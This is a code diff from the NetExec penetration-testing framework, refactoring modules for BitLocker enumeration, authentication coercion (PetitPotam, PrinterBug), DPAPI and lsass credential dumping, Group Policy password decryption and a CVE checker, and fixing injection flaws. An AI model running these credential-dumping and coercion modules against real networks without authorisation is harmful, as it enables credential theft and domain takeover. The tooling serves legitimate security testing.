-                    0: "None",
-                    1: "AES_128_WITH_DIFFUSER",
-                    2: "AES_256_WITH_DIFFUSER",
-                    3: "AES_128",
-                    4: "AES_256",
-                    5: "HARDWARE_ENCRYPTION",
-                    6: "XTS_AES_128",
-                    7: "XTS_AES_256_WITH_DIFFUSER"
-                }
-
-                try:
-                    while True:
-                        iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
-                        encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
-                        if iWbemClassObject[0].ProtectionStatus == 1:
-                            self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
-                        else:
-                            if encryptionMethod == 0:  # Should be 0 if disabled
-                                self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
-                except Exception:
-                    pass  # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
-
-                # Release resources
-                iWbemLevel1Login.RemRelease()
-                iWbemServices.RemRelease()
-                dcom_conn.disconnect()
-            except Exception as e:
-                if "WBEM_E_INVALID_NAMESPACE" in str(e):
-                    self.context.log.fail("BitLockerNamespace not found on target.")
-                    dcom_conn.disconnect()
-        except Exception as e:
-            self.context.log.error(f"Error occurred during BitLocker check: {e}")
-            dcom_conn.disconnect()
+import re
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    name = "bitlocker"
+    description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
+    supported_protocols = ["smb", "wmi"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+
+    def options(self, context, module_options):
+        """
+        USAGE:
+
+        NetExec smb <IP> -u <username> -p <password> -M bitlocker
+        NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
+        """
+
+    def on_admin_login(self, context, connection):
+        if context.protocol == "smb":
+            bitlocker_smb = BitLockerSMB(context, connection)
+            bitlocker_smb.check_bitlocker_status()
+        elif context.protocol == "wmi":
+            bitlocker_wmi = BitLockerWMI(context, connection)
+            bitlocker_wmi.check_bitlocker_status()
+
+
+class BitLockerSMB:
+    def __init__(self, context, connection):
+        self.context = context
+        self.connection = connection
+
+    def check_bitlocker_status(self):
+        # PowerShell command to check BitLocker volumes status.
+        check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
+
+        try:
+            # Executing the PowerShell command to get BitLocker volumes status.
+            check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
+
+            if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
+                self.context.log.fail("BitLockerVolume not found on target.")
+                return
+
+            # Splitting the output into lines.
+            lines = str(check_bitlocker_command_str_output).splitlines()
+            data_lines = [line for line in lines if re.match(r"\w:", line)]
+
+            for line in data_lines:
+                # Checking every line for starting with drive
+                if line[1] == ":":
+                    parts = line.split()
+                    MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
+
+                    # Checking if BitLocker is enabled.
+                    if protection_status == "On":
+                        self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
+                    else:
+                        self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
+        except Exception as e:
+            self.context.log.exception(f"Exception occurred: {e}")
+
+
+class BitLockerWMI:
+    def __init__(self, context, connection):
+        self.context = context
+        self.connection = connection
+
+    def check_bitlocker_status(self):
+        # Reuse the wmi protocol's authenticated IWbemLevel1Login instead of
+        # creating a second DCOMConnection to the same target (whose disconnect
+        # would clash with the protocol's own)
+        try:
+            iWbemLevel1Login = self.connection.iWbemLevel1Login
+            bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
+            iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
+            iWbemLevel1Login.RemRelease()
+            iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+
+            classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
+            iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
+            encryptionTypeMapping = {
+                0: "None",
+                1: "AES_128_WITH_DIFFUSER",
+                2: "AES_256_WITH_DIFFUSER",
+                3: "AES_128",
+                4: "AES_256",
+                5: "HARDWARE_ENCRYPTION",
+                6: "XTS_AES_128",
+                7: "XTS_AES_256_WITH_DIFFUSER"
+            }
+
+            try:
+                while True:
+                    iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
+                    encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
+                    if iWbemClassObject[0].ProtectionStatus == 1:
+                        self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
+                    else:
+                        if encryptionMethod == 0:  # Should be 0 if disabled
+                            self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
+            except Exception:
+                pass  # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
+
+            iWbemServices.RemRelease()
+        except Exception as e:
+            if "WBEM_E_INVALID_NAMESPACE" in str(e):
+                self.context.log.fail("BitLockerNamespace not found on target.")
+            else:
+                self.context.log.exception(f"Exception occurred: {e}")

nxc/modules/certipy-find.py

@@ -2,12 +2,14 @@
 import json
 import socket
 from os import makedirs
+from os.path import join
 from certipy.commands.find import Find
 from certipy.lib.target import Target, DnsResolver
 from certipy.lib.formatting import pretty_print
 from datetime import datetime
 
 from nxc.helpers.misc import CATEGORY
+from nxc.helpers.path import sanitize_path_component
 from nxc.paths import NXC_PATH
 
 
@@ -34,7 +36,7 @@ class NXCModule:
         """
         self.vuln = True
         self.enabled = False
-        self.output_path = f"{NXC_PATH}/modules/certipy-find"
+        self.output_path = join(NXC_PATH, "modules", "certipy-find")
         self.json = False
         self.csv = False
         self.text = False
@@ -119,9 +121,9 @@ class NXCModule:
         if self.json or self.csv or self.text:
             makedirs(self.output_path, exist_ok=True)
 
-        filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
+        filename = sanitize_path_component(f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
         if self.json:
-            with open(f"{self.output_path}/{filename}.json", "w") as f:
+            with open(join(self.output_path, f"{filename}.json"), "w") as f:
                 json.dump(
                     output,
                     f,
@@ -131,10 +133,10 @@ class NXCModule:
         if self.csv:
             template_output = finder.get_template_output_for_csv(output)
             ca_output = finder.get_ca_output_for_csv(output)
-            with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
+            with open(join(self.output_path, f"{filename}-templates.csv"), "w") as f:
                 f.write(template_output)
-            with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
+            with open(join(self.output_path, f"{filename}-cas.csv"), "w") as f:
                 f.write(ca_output)
         if self.text:
-            with open(f"{self.output_path}/{filename}.txt", "w") as f:
+            with open(join(self.output_path, f"{filename}.txt"), "w") as f:
                 pretty_print(output, print_func=lambda x: f.write(x + "\n"))

nxc/modules/change-password.py

@@ -89,7 +89,7 @@ class NXCModule:
             self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=False)
         except Exception as e:
             # Handle specific errors like password expiration or must be change
-            if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e):
+            if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e) or "STATUS_USER_SESSION_DELETED" in str(e):
                 context.log.warning("Password must be changed. Trying with null session.")
                 self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=True)
             elif "STATUS_LOGON_FAILURE" in str(e):

nxc/modules/coerce_plus.py

@@ -1,4 +1,5 @@
 from impacket.dcerpc.v5 import transport, rprn, even, epm
+from impacket.dcerpc.v5.rrp import DCERPCSessionError  # ruff: ignore[unused-import] solves an issue with error handling of impacket not displaying the correct exception
 from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
 from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
 from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
@@ -47,14 +48,13 @@ class NXCModule:
             """DFSCOERCE START"""
             try:
                 dfscocerceclass = DFSCoerceTrigger(context)
-                target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
                 dfscocerceconnect = dfscocerceclass.connect(
                     username=connection.username,
                     password=connection.password,
                     domain=connection.domain,
                     lmhash=connection.lmhash,
                     nthash=connection.nthash,
-                    target=target,
+                    target=connection.remoteName,
                     doKerberos=connection.kerberos,
                     dcHost=connection.kdcHost,
                     aesKey=connection.aesKey,
@@ -78,14 +78,13 @@ class NXCModule:
             """ ShadowCoerce START """
             try:
                 shadowcocerceclass = ShadowCoerceTrigger(context)
-                target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
                 shadowcocerceconnect = shadowcocerceclass.connect(
                     username=connection.username,
                     password=connection.password,
                     domain=connection.domain,
                     lmhash=connection.lmhash,
                     nthash=connection.nthash,
-                    target=target,
+                    target=connection.remoteName,
                     doKerberos=connection.kerberos,
                     dcHost=connection.kdcHost,
                     aesKey=connection.aesKey,
@@ -113,14 +112,13 @@ class NXCModule:
                 context.log.debug(f"Trying to connect to {pipe} pipe")
                 try:
                     petitpotamclass = PetitPotamtTrigger(context)
-                    target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
                     petitpotamconnect = petitpotamclass.connect(
                         username=connection.username,
                         password=connection.password,
                         domain=connection.domain,
                         lmhash=connection.lmhash,
                         nthash=connection.nthash,
-                        target=target,
+                        target=connection.remoteName,
                         doKerberos=connection.kerberos,
                         dcHost=connection.kdcHost,
                         aesKey=connection.aesKey,
@@ -150,14 +148,13 @@ class NXCModule:
             for pipe in pipes:
                 try:
                     printerbugclass = PrinterBugTrigger(context)
-                    target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
                     printerbugconnect = printerbugclass.connect(
                         username=connection.username,
                         password=connection.password,
                         domain=connection.domain,
                         lmhash=connection.lmhash,
                         nthash=connection.nthash,
-                        target=target,
+                        target=connection.remoteName,
                         doKerberos=connection.kerberos,
                         dcHost=connection.kdcHost,
                         aesKey=connection.aesKey,
@@ -168,7 +165,7 @@ class NXCModule:
                         context.log.debug("Target is vulnerable to PrinterBug")
                         context.log.highlight("VULNERABLE, PrinterBug")
                         if self.listener is not None:  # exploit
-                            exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe)
+                            exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, connection.remoteName, self.always_continue, pipe)
                             if not self.always_continue and exploit_status:
                                 break
                         printerbugconnect.disconnect()
@@ -183,14 +180,13 @@ class NXCModule:
             """ MSEVEN START """
             try:
                 msevenclass = MSEvenTrigger(context)
-                target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
                 msevenconnect = msevenclass.connect(
                     username=connection.username,
                     password=connection.password,
                     domain=connection.domain,
                     lmhash=connection.lmhash,
                     nthash=connection.nthash,
-                    target=target,
+                    target=connection.remoteName,
                     doKerberos=connection.kerberos,
                     dcHost=connection.kdcHost,
                     aesKey=connection.aesKey,
@@ -1083,7 +1079,7 @@ class EFS_HASH_BLOB(NDRSTRUCT):
 
 class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
     structure = (
-        ("Lenght", DWORD),
+        ("Length", DWORD),
         ("SID", RPC_SID),
         ("Hash", EFS_HASH_BLOB),
         ("Display", LPWSTR),

nxc/modules/dpapi_hash.py

@@ -1,15 +1,12 @@
-from dploot.lib.target import Target
 from dploot.triage.masterkeys import MasterkeysTriage
 from nxc.helpers.misc import CATEGORY
-from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
-
 # Based on dpapimk2john, original work by @fist0urs
 
 
 class NXCModule:
     name = "dpapi_hash"
     description = "Remotely dump Dpapi hash based on masterkeys"
-    supported_protocols = ["smb"]
+    supported_protocols = ["smb", "wmi", "winrm", "mssql"]
     category = CATEGORY.CREDENTIAL_DUMPING
 
     def options(self, context, module_options):
@@ -19,33 +16,11 @@ class NXCModule:
             self.outputfile = module_options["OUTPUTFILE"]
 
     def on_admin_login(self, context, connection):
-        username = connection.username
-        password = getattr(connection, "password", "")
-        nthash = getattr(connection, "nthash", "")
-
-        target = Target.create(
-            domain=connection.domain,
-            username=username,
-            password=password,
-            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
-            lmhash=getattr(connection, "lmhash", ""),
-            nthash=nthash,
-            do_kerberos=connection.kerberos,
-            aesKey=connection.aesKey,
-            no_pass=True,
-            use_kcache=getattr(connection, "use_kcache", False),
-        )
-
-        conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
-        if conn is None:
-            context.log.debug("Could not upgrade connection")
-            return
-
         try:
             context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
             masterkeys_triage = MasterkeysTriage(
-                target=target,
-                conn=conn,
+                target=connection.dpapi_triage.target,
+                conn=connection.dpapi_triage.conn,
             )
             context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
             context.log.debug("Collecting user masterkeys")

nxc/modules/efsr_spray.py

@@ -13,7 +13,7 @@ class NXCModule:
         """
         FILE_NAME      Name of the file which will be tried to create and afterwards delete
         SHARE_NAME     If set, ONLY this share will be used
-        EXCLUDED_SHARES List of share names which will not be used, seperated by comma
+        EXCLUDED_SHARES List of share names which will not be used, separated by comma
         """
 
     def on_login(self, context: Context, connection):

nxc/modules/enum_av.py

@@ -127,6 +127,14 @@ conf = {
             "services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
             "pipes": []
         },
+        {
+            "name": "Arctic Wolf",
+            "services": [
+                {"name": "AwWfpService", "description": "Arctic Wolf Agent Containment"},
+                {"name": "ArcticWolfAgentMgr", "description": "Arctic Wolf Agent Manager"}
+            ],
+            "pipes": []
+        },
         {
             "name": "Avast / AVG",
             "services": [

nxc/modules/enum_cve.py

@@ -36,6 +36,7 @@ class NXCModule:
         - CVE-2024-49019 (EKUwu / ESC15)
         - CVE-2026-54121 (Certighost)
         - CVE-2026-27912 (ResetNightmare)
+        - CVE-2026-102217 (PetitPotam WebDAV coercion)
 
         CVE             Filter for specific CVE number (default: All)
         EXPLOITATION    Also provide sources for exploitation details (default: False)
@@ -221,4 +222,24 @@ class NXCModule:
             "message": "Password reset of any account possible via Kerberos change password abuse",
             "exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/",
         },
+        # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102217
+        "CVE-2026-102217": {
+            "alias": "PetitPotam WebDAV coercion",
+            "patches": {
+                (6, 2, 9200): 26434,      # Windows Server 2012
+                (6, 3, 9600): 23470,      # Windows Server 2012 R2
+                (10, 0, 14393): 9612,     # Windows Server 2016
+                (10, 0, 17763): 9376,     # Windows Server 2019
+                (10, 0, 19044): 7807,     # Windows 10 21H2
+                (10, 0, 19045): 7807,     # Windows 10 22H2
+                (10, 0, 20348): 5761,     # Windows Server 2022
+                (10, 0, 22631): 7652,     # Windows 11 23H2
+                (10, 0, 26100): 33650,    # Windows Server 2025 (Win11 24H2 ships the same build patched at 9711)
+                (10, 0, 26200): 9711,     # Windows 11 25H2
+                (10, 0, 26300): 9711,     # Windows 11 26H2
+                (10, 0, 28000): 3231,     # Windows 11 26H1
+            },
+            "message": "PetitPotam (EFSRPC) can coerce to a WebDAV listener, the HTTP authentication can be relayed to LDAP/LDAPS",
+            "exploitation": "https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient",
+        },
     }

nxc/modules/enum_dns.py

@@ -1,6 +1,7 @@
 from datetime import datetime
 from nxc.helpers.logger import write_log
 from nxc.helpers.misc import CATEGORY
+from nxc.helpers.path import sanitize_path_component
 from nxc.paths import NXC_PATH
 
 
@@ -63,6 +64,6 @@ class NXCModule:
                         context.log.highlight("\t" + d)
                         data += "\t" + d + "\n"
 
-        log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
+        log_name = sanitize_path_component(f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
         write_log(data, log_name)
         context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")

nxc/modules/firefox.py

@@ -1,6 +1,6 @@
 from dploot.lib.target import Target
 from nxc.helpers.misc import CATEGORY
-from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
+from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
 
 
 class NXCModule:

nxc/modules/get-desc-users.py

@@ -63,7 +63,7 @@ class NXCModule:
         if len(answers) > 0:
             context.log.success("Found following users: ")
             for answer in answers:
-                context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
+                context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}")
 
     def filter_answer(self, context, answers):
         # No option to filter

nxc/modules/get-network.py

@@ -7,8 +7,9 @@ from datetime import datetime
 from struct import unpack
 
 from impacket.structure import Structure
-from os.path import expanduser
+from os.path import expanduser, join
 from nxc.helpers.misc import CATEGORY
+from nxc.helpers.path import sanitize_path_component
 from nxc.paths import NXC_PATH
 from nxc.parsers.ldap_results import parse_result_attributes
 
@@ -141,7 +142,7 @@ class NXCModule:
             outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
 
         context.log.highlight(f"Found {len(outdata)} records")
-        path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
+        path = expanduser(join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")))
         with open(path, "w") as outfile:
             for row in outdata:
                 if self.showhosts:

nxc/modules/get_netconnections.py

@@ -1,6 +1,7 @@
 from datetime import datetime
 from nxc.helpers.logger import write_log
 from nxc.helpers.misc import CATEGORY
+from nxc.helpers.path import sanitize_path_component
 from nxc.paths import NXC_PATH
 import json
 
@@ -30,6 +31,6 @@ class NXCModule:
 
             data.append(cards)
 
-        log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
+        log_name = sanitize_path_component(f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
         write_log(json.dumps(data), log_name)
         context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")

nxc/modules/gpp_autologin.py

@@ -15,45 +15,40 @@ class NXCModule:
     category = CATEGORY.CREDENTIAL_DUMPING
 
     def options(self, context, module_options):
-        """ """
+        """No options available."""
 
     def on_login(self, context, connection):
-        shares = connection.shares()
-        for share in shares:
-            if share["name"] == "SYSVOL" and "READ" in share["access"]:
-                context.log.success("Found SYSVOL share")
-                context.log.display("Searching for Registry.xml")
+        context.log.display("Searching SYSVOL share for Registry.xml")
 
-                paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
+        paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
+        for path in paths:
+            context.log.display(f"Found {path}")
 
-                for path in paths:
-                    context.log.display(f"Found {path}")
+            buf = BytesIO()
+            connection.conn.getFile("SYSVOL", path, buf.write)
+            xml = ET.fromstring(buf.getvalue())
 
-                    buf = BytesIO()
-                    connection.conn.getFile("SYSVOL", path, buf.write)
-                    xml = ET.fromstring(buf.getvalue())
+            if xml.findall('.//Properties[@name="DefaultPassword"]'):
+                usernames = []
+                passwords = []
+                domains = []
 
-                    if xml.findall('.//Properties[@name="DefaultPassword"]'):
-                        usernames = []
-                        passwords = []
-                        domains = []
+                xml_section = xml.findall(".//Properties")
 
-                        xml_section = xml.findall(".//Properties")
+                for section in xml_section:
+                    attrs = section.attrib
 
-                        for section in xml_section:
-                            attrs = section.attrib
+                    if attrs["name"] == "DefaultPassword":
+                        passwords.append(attrs["value"])
 
-                            if attrs["name"] == "DefaultPassword":
-                                passwords.append(attrs["value"])
+                    if attrs["name"] == "DefaultUserName":
+                        usernames.append(attrs["value"])
 
-                            if attrs["name"] == "DefaultUserName":
-                                usernames.append(attrs["value"])
+                    if attrs["name"] == "DefaultDomainName":
+                        domains.append(attrs["value"])
 
-                            if attrs["name"] == "DefaultDomainName":
-                                domains.append(attrs["value"])
-
-                        if usernames or passwords:
-                            context.log.success(f"Found credentials in {path}")
-                            context.log.highlight(f"Usernames: {usernames}")
-                            context.log.highlight(f"Domains: {domains}")
-                            context.log.highlight(f"Passwords: {passwords}")
+                if usernames or passwords:
+                    context.log.success(f"Found credentials in {path}")
+                    context.log.highlight(f"Usernames: {usernames}")
+                    context.log.highlight(f"Domains: {domains}")
+                    context.log.highlight(f"Passwords: {passwords}")

nxc/modules/gpp_password.py

@@ -21,82 +21,77 @@ class NXCModule:
         """No options available"""
 
     def on_login(self, context, connection):
-        shares = connection.shares()
-        for share in shares:
-            if share["name"].lower() == "sysvol" and "READ" in share["access"]:
-                sysvol = share["name"]
-                context.log.success("Found SYSVOL share")
-                context.log.display("Searching for potential XML files containing passwords")
+        context.log.display("Searching SYSVOL share for potential XML files containing passwords")
 
-                paths = connection.spider(
-                    sysvol,
-                    pattern=[
-                        "Groups.xml",
-                        "Services.xml",
-                        "Scheduledtasks.xml",
-                        "DataSources.xml",
-                        "Printers.xml",
-                        "Drives.xml",
-                    ],
-                )
+        paths = connection.spider(
+            "SYSVOL",
+            pattern=[
+                "Groups.xml",
+                "Services.xml",
+                "Scheduledtasks.xml",
+                "DataSources.xml",
+                "Printers.xml",
+                "Drives.xml",
+            ],
+        )
 
-                for path in paths:
-                    context.log.display(f"Found {path}")
+        for path in paths:
+            context.log.display(f"Found {path}")
 
-                    buf = BytesIO()
-                    connection.conn.getFile(sysvol, path, buf.write)
-                    xml = ET.fromstring(buf.getvalue())
-                    sections = []
+            buf = BytesIO()
+            connection.conn.getFile("SYSVOL", path, buf.write)
+            xml = ET.fromstring(buf.getvalue())
+            sections = []
 
-                    if "Groups.xml" in path:
-                        sections.append("./User/Properties")
+            if "Groups.xml" in path:
+                sections.append("./User/Properties")
 
-                    elif "Services.xml" in path:
-                        sections.append("./NTService/Properties")
+            elif "Services.xml" in path:
+                sections.append("./NTService/Properties")
 
-                    elif "ScheduledTasks.xml" in path:
-                        sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
+            elif "ScheduledTasks.xml" in path:
+                sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
 
-                    elif "DataSources.xml" in path:
-                        sections.append("./DataSource/Properties")
+            elif "DataSources.xml" in path:
+                sections.append("./DataSource/Properties")
 
-                    elif "Printers.xml" in path:
-                        sections.append("./SharedPrinter/Properties")
+            elif "Printers.xml" in path:
+                sections.append("./SharedPrinter/Properties")
 
-                    elif "Drives.xml" in path:
-                        sections.append("./Drive/Properties")
+            elif "Drives.xml" in path:
+                sections.append("./Drive/Properties")
 
-                    for section in sections:
-                        xml_section = xml.findall(section)
-                        for attr in xml_section:
-                            props = attr.attrib
+            for section in sections:
+                xml_section = xml.findall(section)
+                for attr in xml_section:
+                    props = attr.attrib
 
-                            if "cpassword" in props:
-                                for user_tag in [
-                                    "userName",
-                                    "accountName",
-                                    "runAs",
-                                    "username",
-                                ]:
-                                    if user_tag in props:
-                                        username = props[user_tag]
+                    if "cpassword" in props:
+                        for user_tag in [
+                            "userName",
+                            "accountName",
+                            "runAs",
+                            "username",
+                        ]:
+                            if user_tag in props:
+                                username = props[user_tag]
 
-                                password = self.decrypt_cpassword(props["cpassword"])
+                        password = self.decrypt_cpassword(props["cpassword"])
 
-                                context.log.success(f"Found credentials in {path}")
-                                context.log.highlight(f"Password: {password}")
-                                for k, v in props.items():
-                                    if k != "cpassword":
-                                        context.log.highlight(f"{k}: {v}")
+                        context.log.success(f"Found credentials in {path}")
+                        context.log.highlight(f"Password: {password}")
+                        for k, v in props.items():
+                            if k != "cpassword":
+                                context.log.highlight(f"{k}: {v}")
 
-                                hostid = context.db.get_hosts(connection.host)[0][0]
-                                context.db.add_credential(
-                                    "plaintext",
-                                    "",
-                                    username,
-                                    password,
-                                    pillaged_from=hostid,
-                                )
+                        hostid = context.db.get_hosts(connection.host)[0][0]
+                        context.db.add_credential(
+                            "plaintext",
+                            "",
+                            username,
+                            password,
+                            pillaged_from=hostid,
+                        )
 
     def decrypt_cpassword(self, cpassword):
         # Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385

nxc/modules/hash_spider.py

@@ -79,26 +79,26 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
         if result["password"] is not None:
             context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
             cursor.execute(
-                "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
-                [password],
+                "UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
+                [password, len(username), username.upper()],
             )
             username = f"{username.upper()}@{domain.upper()}"
             dbconnection.commit()
             session = driver.session()
-            session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
+            session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
         if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0":
             context.log.fail(f"Hash for {username} is expired.")
         elif username not in found_users and nthash is not None:
             context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
             found_users.append(username)
             cursor.execute(
-                "UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
-                [nthash],
+                "UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
+                [nthash, len(username), username.upper()],
             )
             dbconnection.commit()
             username = f"{username.upper()}@{domain.upper()}"
             session = driver.session()
-            session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
+            session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
             path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
             paths = list(path_to_da.data())
 
@@ -118,12 +118,12 @@ def initial_run(connection, cursor):
     password = getattr(connection, "password", "")
     nthash = getattr(connection, "nthash", "")
     cursor.execute(
-        "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
-        [password],
+        "UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
+        [password, len(username), username.upper()],
     )
     cursor.execute(
-        "UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
-        [nthash],
+        "UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
+        [nthash, len(username), username.upper()],
     )
 
 
@@ -188,7 +188,7 @@ class NXCModule:
         )
         if session.smb_session is None:
             context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
-            cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'")
+            cursor.execute("UPDATE admin_users SET hash = NULL WHERE username = ? COLLATE NOCASE", [f"{username}@{domain_name}"])
             return False
         dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
         if dumper is None:
@@ -198,9 +198,20 @@ class NXCModule:
         if file is None:
             context.log.fail("Unable to dump lsass")
             return False
-        credentials, tickets, masterkeys = Parser(host, file).parse()
-        file.close()
-        ImpacketFile.delete(session, file.get_file_path())
+        try:
+            parsed = Parser(host, file).parse()
+        finally:
+            # Delete the remote file even when parsing failed, and even if closing it fails
+            try:
+                file.close()
+            except Exception as e:
+                context.log.debug(f"Error closing dumper file: {e}")
+            if not ImpacketFile.delete(session, file.get_file_path()):
+                context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
+        if parsed is None:
+            context.log.fail("Unable to parse lsass dump")
+            return False
+        credentials, tickets, masterkeys = parsed
         if credentials is None:
             credentials = []
         credentials = [cred.get_object() for cred in credentials if not cred.get_username().endswith("$")]
@@ -236,7 +247,7 @@ class NXCModule:
         for user in compromised_users:
             for pc in admin_access:
                 if user[0] in pc[1]:
-                    cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'")
+                    cursor.execute("SELECT * FROM pc_and_admins WHERE pc_name = ? AND dumped NOT LIKE 'TRUE'", [pc[0]])
                     more_to_dump = cursor.fetchall()
                     if len(more_to_dump) > 0:
                         context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
@@ -246,8 +257,10 @@ class NXCModule:
